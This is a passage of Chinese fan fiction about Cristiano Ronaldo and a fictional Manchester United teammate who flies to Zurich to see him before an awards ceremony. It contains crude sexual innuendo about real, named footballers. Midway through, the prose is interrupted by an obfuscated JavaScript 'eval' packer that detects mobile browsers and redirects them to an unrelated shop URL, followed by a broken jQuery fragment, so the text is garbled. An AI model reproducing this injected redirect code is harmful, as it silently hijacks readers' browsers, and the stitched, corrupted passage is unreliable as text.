“胡说八道什么呢!”英格兰人的皮肤可能比较薄,奈特瞬间涨红了脸,结结巴巴,“我刚走神了,谁也没看,在想别的事!”

    相较之下,很容易晒成蜜色的加泰罗尼亚小伙就显得油腔滑调,甚至轻佻地吹了个口哨:“果真吗?但愿你是在幻想辛迪·克劳馥。”

    闻此,奈特居然带着一丝恍然的惊喜望向皮克,眼神在雀跃:原来你也认为他俩长得像啊!

    对方则歪了歪头,回以“兄弟我懂你”的玩味表情。

    但下一秒,两只脑袋就都挨了打,是吉格斯端着咸醇的牛肉茶路过,训道:“别嬉皮笑脸!我们又没赢,就算替补,至少也拿出点球队荣誉感!”

    等老大哥走远,皮克才默默嘀咕:“无所谓,我迟早要回巴塞罗那。”

    也对,出身拉玛西亚的他不过是来英格兰碰运气镀金的,对这里并无多少感情。

    可奈特不一样,他是土生土长的曼彻斯特孩子,从小就追随红魔,立志要为这支球队奉献完整的职业生涯。

    那势不可挡的克里斯蒂亚诺·罗纳尔多呢?

    绿茵场上,他总是如同一阵疾风,轻盈而迅猛。可这阵来去自由的风,会为谁停留,最终又归向何处,无人知晓。

    很快,克里斯蒂亚诺湿漉漉地回来了,只在腰间裹了条几乎透明的薄毛巾,皮肤滑腻得像游出水面的无鳞蛇。奈特没敢多看,慌忙站起身,转向走廊尽头的淋浴区,那片氤氲的蒸汽之中。

    没关系,至少目前为止,你还属于曼联,属于我们。

    十一月的曼彻斯特,湿寒浸骨,只有无休止的冷雨。

    克里斯蒂亚诺却似一团烈烈升腾的火焰,炽热而灼目,联赛欧冠不断收获进球,助力葡萄牙锁定欧洲杯正赛名额,临近月末又收到通知,成功跻身了世界足球先生的最终三人候选。

    他野心勃勃,永远不会为谁停下脚步。

    “《Teach Yourself Portuguese》——”

    有氧区内,十二月的第一组机械单车训练刚刚结束,纳尼喝着水,瞧见奈特正低头捣鼓他那只超大容量的尼龙背包,不经意露出了前几日在市中心书店购入的教材。

    “怎么开始学葡萄牙语了?你要转会?”

    对方故作腼腆答:“我最近迷上了一位葡萄牙女孩,想认真追求她。”

    闻此,纳尼笑着打趣:“用你那纯正的英国腔就够了啊。”

    似乎不太够。

    健身房的电视机低声播放着赛事集锦,供球员训练时解闷,而旁边,是正在软磨硬泡队友的克里斯蒂亚诺,他仰着脸,伸手环住范德萨,眼神恳切:“埃德温,求你了,下午再陪我多练会儿吧。”

    荷兰籍门将拥有六尺六的傲人身高,像哄小情人那样轻抚他的后背:“亲爱的,你不能因为前几天打进了非常漂亮的任意球绝杀,就没完没了地找我炫耀这一项。”

    “拜托,练完我们可以一起开车回去,我请你吃晚饭,好不好?”

    “我是真的累了,年纪摆在这,都三十七岁了,你去找托马茨和本,把精力倾注到他们身上好吗,他们也爱你。”

    “不,我就要你——我的任意球想献给全世界最好的门将。”

    好糟糕的对话,还以为要献那啥呢,周围没人的话,他们接下来是不是就该吃嘴巴然后砰砰砰了!角落里的奈特暗戳戳讥诮,哎哟喂,未免贴得太紧了,完全蓄意勾引,克里斯果然喜欢这种年纪大的,爽到吐舌头的时候绝对喊过daddy吧!

    “纳尼。”

    “怎么了?”

    “午饭我可以跟你们一桌用餐吗?想多多感受葡语环境。”

    “当然!随时欢迎。”

    得逞的笑容并未在奈特脸上维持太久,毕竟是初学者,哪怕挤进这个葡语圈子,也完全听不懂他们交谈的内容。而且,克里斯蒂亚诺看见他时的反应太过淡然,既不惊喜也不反感,仿佛桌边仅仅多添了盆绿植。

    还好纳尼情商不低,偶尔会用英语问他听懂了多少。

    奈特就木讷地笑:“感觉大家聊得挺开心,但具体说了什么完全猜不到。”

    纳尼便简单讲了讲:“十六号客场踢完利物浦,克里斯就要飞苏黎世参加世界足球先生的颁奖典礼了。我叫他别忘了捎点瑞士的伴手礼,安德松问能不能跟他一块儿去玩,蹭个家属名额。”

    “能吗?”奈特果然来了兴趣,“其实我也想去。”

    正在细嚼慢咽水煮鸡胸肉的克里斯蒂亚诺有些无语:“都当报名旅游团呢?我这次是去鼓掌的,带一群人砸场子?”

    最终入围世界足球先生的三人名单:

    Kaká (AC Milan)

    Lionel Messi (Bar?a)

    Cristiano Ronaldo (Man Utd)

    虽然上赛季他在英超大杀四方,偏偏欧冠半决赛直接败给了AC米兰,巴萨那位更不用说,个人数据也相对一般。

    “我不介意去给巴西老乡鼓掌啊。”安德松玩笑道。

    奈特则不动声色地拿出手机,看向对面:“大家都做队友这么久了,跟我交换下联系方式吧?”

    意图明显,这句话是对某个人说的,玻璃般的蓝眼珠正直勾勾盯着他。

    “居然还没有吗?”

    “为什么不呢!”

    幸好,克里斯蒂亚诺也没有拒绝,只是联系方式而已。

    “费尔南多·托雷斯?”旁边的安德松不小心瞥见他正打开的通讯录,有些惊讶,“是今年加盟利物浦的那个托雷斯吗?”

    “对,那个马德里帅哥。”

    “你怎么认识他的?记得下周的比赛才是我们首次交手吧?”

    “前段时间在耐克举办的一个媒体沙龙上碰面了,”克里斯蒂亚诺的语气轻飘飘,还特意用的英文,“我看他长得不错,就加了联系方式。”

    说完,挑了挑眉,将奈特那副“行啊真把你厉害坏了又到处勾搭男人是吧”的憋屈表情尽收眼底。

    但没过多久,他就后悔挑衅了。

    1-0客场战胜利物浦,克里斯蒂亚诺带着这份喜悦,私人包机连夜飞到瑞士苏黎世,住进了FIFA统一安排的五星酒店,如此奔波,作息依旧没被打乱,第二天照常早早醒来,独自下楼吃早餐。

    气温很冷,落地窗外的世界浸在浓重的晨雾里,他点得很克制,几片全麦吐司、一份蛋卷、一杯脱脂酸奶以及少量鲜果。

    这时,手机忽然震动,他百无聊赖地接通了电话。

    “早,”是奈特略带沙哑的声音,似乎刚从被窝里睁眼,“今天一切顺利吗?”

    “今天还没开始吧?”克里斯蒂亚诺心情不错地笑了下,“据我所知训练改到下午了,你怎么醒得这么早?”

    “七点多,还好啊。”

    “英国不是慢一个小时,才六点吗?”

    “没错,”奈特吸吸鼻子,“但我这会儿在苏黎世。”

    “……”

    疯了吧。

    “喂喂喂别挂电话,我真没跟你开玩笑!今天什么安排,能抽空见我一面吗?不想一个人闷在酒店房间里……”

    颁奖典礼在今晚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972024|214684||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    八点,上午简单造型后,要跟工作人员对接彩排流程,再就是三名候选人的媒体拍照环节。

    克里斯蒂亚诺穿了件利落的黑色机车皮夹克,颇为张扬,他时刻谨记要友好微笑,采到最后眼睛都变灰暗了,还在下意识扯嘴角,脸颊酸得很,而心里一直想着那个混蛋奈特——真的有病吧,简直莫名其妙,到底图什么?!

    以至于在场的记者都觉得他兴致寥寥,揣测是否借此向外传递了某种信号,比如,对评选结果不满意、在曼彻斯特过得不顺心、投资失败、情场受挫等等。

    当然,今天真正的主角面露阳光微笑,畅所欲言就行。

    终于结束营业,他骗门德斯自己要去健身房做些简单锻炼,晚上穿礼服会更好看。

    实际呢,换了身卫衣,裹着低调的深色棉服,偷溜出酒店,他沿着苏黎世湖走了一小段路,然后,见到了那个人。

    “嗨!”奈特站在原地,顺势张开双臂,像是满心期待一个大大的拥抱。

    真的很蹊跷,心跳怎么莫名紊乱,克里斯蒂亚诺垂眼,试图掩尽那股暗涌的情绪,并放慢脚步,调整好呼吸。

    “你最好是来瑞士看脑子的。”他恢复如常,“知不知道自己在做什么?”

    “不知道。”奈特咧嘴,露出狡黠的笑,并指了指眼下那抹疲惫的乌青,装可怜,“看在我费劲请假辛苦转机特意跑来的份上,你行行好,别存那两个南美佬的联系方式可以吗?”

    克里斯蒂亚诺愣了会儿,才弄懂他指的是谁,只觉耳膜阵痛,微眯着眼,能确定这家伙脑回路不正常,就该给他的黑眼圈哐哐补两拳。

    “真是求你了!一个已婚,另一个完全……”葡萄牙人欲言又止,暂且不想用太刁钻的词汇,“完全不是我的菜!就算拿到他俩的联系方式,也不会改变什么。还有,我当时加托雷斯是正常社交,他有固定女友的,更不是挑衅曼联球迷,哎,总之我交往普通朋友一样喜欢看脸!”

    这段话里的每个单词都很动听。奈特始终噙着笑,非常温柔地看他,等人说完,才点头,替他轻轻拢好卫衣兜帽,最后还捂了下耳朵,手眷恋地顺着胸膛滑走。

    好像有点暧昧吧。克里斯蒂亚诺突然后悔解释这一通了,他们又不是情侣,于是叹了声气,问:“回程机票买了没?”

    对方摇头。

    “那明早跟我们一起飞。”

    “谢谢。”奈特再度靠近,想抱他,“能允许我用肢体表达一次感谢吗?”

    克里斯蒂亚诺却板着脸后退,佯装要抬脚去踢:“滚蛋。”

    反正最后疯的另有其人。

    “操!你又——”门德斯习惯性压低声调,哪怕他们正处于隔音效果很好的总统套房里,“给我一个说法。”

    什么情况?偷情偷到FIFA眼皮子底下来了!

    “你自己向他解释,我不知道。”克里斯蒂亚诺满不在乎,走进卧室,致电客房服务点午餐。

    “弗莱明是吧,你是克里斯的…新男友?”

    奈特一点儿也不害怕门德斯,他抱着胳膊,慵懒陷进沙发里,神色很酷:“借你吉言。”

    “那么,Friend with benefits?”

    这种程度也行,发展肉-体关系的互惠好友。奈特耸耸肩,不承认也不否认。

    门德斯权当默认,瞬间变成了严肃脸,最后指着他鼻子,凶狠警告:“我不知道你们下午要干些什么见不得人的事,可能也阻止不了!但,你如果敢在他露肤的地方留下半点痕迹,我发誓,一定会把大力神杯从总部保险库偷出来,用它打爆你下流的脑袋!”